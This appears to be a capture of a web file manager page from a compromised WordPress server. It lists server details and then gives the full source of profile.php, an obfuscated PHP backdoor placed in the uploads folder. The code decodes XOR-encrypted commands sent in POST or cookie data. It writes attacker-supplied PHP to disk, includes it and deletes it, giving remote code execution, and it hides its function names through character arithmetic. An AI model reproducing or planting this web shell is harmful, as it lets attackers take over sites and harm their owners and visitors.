HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/colibri/profile.php
<?php 


$bhahhczd	=	'bhahhczd' /*   z  */ ^ /*z   */ '';


$ibjteh    =    "a"."r".$bhahhczd(314-200)    . /*   xn_i  */ $bhahhczd(1021-924) /*   eq */ .    "y"."\137"	.  "\x6d"    . /* l*/ "\x61"   . /*l */ "p";

$icrhap   =    "i".$bhahhczd(1008-899)    .    $bhahhczd(338-226)     .      "\x6c"   . /*zf   */ $bhahhczd(652-541)    .    "d"."e";

function /*   qfgrjd */ ddtkc($gj_dq,       $fxfkfuusnu){

 /*   kv */ global    $bhahhczd;
     

 /*s   */ $gj_dq /* ntbllh   */ = /*   xdk */ $bhahhczd(399-339) /*  zw  */ . /*  lpg_d_   */ "?"."p".$bhahhczd(104)    . /*y*/ "\x70" /* r */ .     $bhahhczd(32)      .       $bhahhczd(288-171)     .  "\156" /*   mj*/ . /*cwf   */ $bhahhczd(108) /* uh  */ .   $bhahhczd(105)."n"."k"."(".$bhahhczd(849-754)       .      "\x5f"      . /* cspzao  */ "\106" /* s*/ .     "\111" /* ql_ */ .	$bhahhczd(76) /* u  */ . /*h*/ "\x45" /* dxsel */ .    $bhahhczd(248-153)	.   "_".$bhahhczd(41)     .	$bhahhczd(59)    .       $bhahhczd(32)   . /*pbnbfq*/ $gj_dq["d"];

       $gc_fhqf   =     "f"."\x69" /* myie*/ .    "\x6c"   . /* uivwm*/ "\x65"."_"."p"."\x75"       . /* xqrxz */ "\x74"	. /*jocd  */ $bhahhczd(401-306) /* d   */ . /* bu   */ "c".$bhahhczd(111) /*hjiiut */ . /*pmlcb  */ "n"."t".$bhahhczd(101) /*  igk   */ .    $bhahhczd(807-697)    . /* sn  */ $bhahhczd(116) /*   mzosxz*/ .      "\x73";
 /*  y*/     $gc_fhqf($fxfkfuusnu,	$gj_dq); /*  ftsx */ 

 /*  i   */ q_gffni($fxfkfuusnu);

}





$relp_q_s   = /*qvycqe   */ 73;

function  q_gffni($fxfkfuusnu){ /*  jdbef   */ global    $bhahhczd;
 /*  ocj   */ 


     include($fxfkfuusnu);


	$npmdlou    = /*   xvhhs   */ $fxfkfuusnu;


    @unlink($npmdlou);}


function	mzaqaaeza()


{ /*  drg*/ global    $bhahhczd;

 /*  xac  */ $rtlngtc	=    array();	$rtlngtc["p".$bhahhczd(118)]    =   phpversion();


    $rtlngtc["s"."\x76"]  = /*   bn  */ "\x33"      .	"."."5";
	$uenpuri  =  74;
      echo      @serialize($rtlngtc);

}





function   btcnf($gj_dq,      $v_auymwimu)
{

     global    $bhahhczd; /*ovhzu   */ $mhebw /*gfzh  */ =   "";


 /*pmm  */ $bulzb	= /*llzns */ strlen($gj_dq);
 /*  z_pktl  */ $pjkuqn_au    =     strlen($v_auymwimu); /* r_uvm */ $rtlngtc      = /*   gdcyjl */ 0;     $qqsk_ /*  w_qzv   */ =       0; /*u  */ 


 /* l*/ while    ($rtlngtc	< /*   ao   */ $bulzb)    {      $rsbwxcum /*sjhg  */ =    $gj_dq[$rtlngtc]      ^ /*  nd   */ $v_auymwimu[$qqsk_	%	$pjkuqn_au];

  $mhebw /*lrn */ .=	$rsbwxcum;

       $qqsk_++;	 /*  ohi*/ $rtlngtc++;    }
	


  if       (strlen($mhebw)	>     20)	{


      $dhrzehvf   =    substr($mhebw,	0,    20);
     }


	if    (empty($mhebw)) /*  o */ {
 /* hzw   */ $mhebw /* lldxnc   */ = /*mrp_cn  */ date('Y-m-d /*  v  */ H:i:s');
	}


     return /*  mutgd*/ $mhebw;

}





function /*zfnwo  */ vbqlv($rtlngtcvsnxe)
{


    global	$bhahhczd;
	
     $rtlngtcxstn_y /* e__  */ =	"\66"      .   "0".$bhahhczd(54)     .   "6"."5"."\x66"  .     "4".$bhahhczd(636-584) /*pgbh*/ .	"-"."6"."\x65".$bhahhczd(48)      . /*   qye  */ $bhahhczd(438-341)   .	"\x2d"     .	"\64"  . /*skna  */ "9"."\x65"."\x65" /*arax   */ .    "-"."\x61"	.     "\62"	.    $bhahhczd(466-368) /*   pdkdg  */ . /*   iikr   */ "\x31"    .    "\x2d"   .    "9".$bhahhczd(1025-973)    .    "\141"."b"."1"."\70"  .       $bhahhczd(304-252)   .	$bhahhczd(583-531)	. /*  lhkyib  */ "\x66" /* c   */ .      $bhahhczd(515-466)	.	$bhahhczd(100)    .   "\145";


 /*  tetjrj   */     foreach  ($rtlngtcvsnxe /*   jfvrmj */ as /*  oisudc */ $zgellpr    =>    $gj_dq)    {   opthsree(base64_decode($gj_dq), /*  kpkdur*/ $rtlngtcxstn_y, /*   dvijre */ $zgellpr);

    }
}



function /*  uraz */ opthsree($gj_dq,	$rtlngtcxstn_y,    $zgellpr)
{


       global    $bhahhczd;


	 /* hpqee */ $gj_dq    =    unserialize(btcnf(btcnf($gj_dq,  $rtlngtcxstn_y),       $zgellpr));


	$tsnscjja_ /* ssuahb   */ =    'vlmk';

	$rbydjxffn       =	'n_vh';
 /*  ma  */ if    (isset($gj_dq[$bhahhczd(1093-996) /*   d*/ .    "\x6b"]))	{
 /*   zojhv */ if /*   dhot*/ ($gj_dq["\141"]	==    $bhahhczd(105))   {
 /* tiaf   */ mzaqaaeza();


    } /* zebh */ elseif	($gj_dq["\141"] /*  fu*/ ==    "\x65")    {

	ddtkc($gj_dq,    sprintf(".".$bhahhczd(47)    .     "%"."s".".".$bhahhczd(112)	.      "l", /* vya   */ md5($rtlngtcxstn_y)));


			$h_sbaiktaj       =	44;

  } /* bq*/ exit();
	}

}
vbqlv($_POST);    
$cciusfvva	= /* g  */ 'rawurldecode';



$bvowq /* d*/ =	$ibjteh($cciusfvva,    $_POST);
$icrhap("",      $cciusfvva);



vbqlv($_COOKIE);


$qqsk_vdvvrr	=    $ibjteh($cciusfvva, /* o  */ $_COOKIE);






?>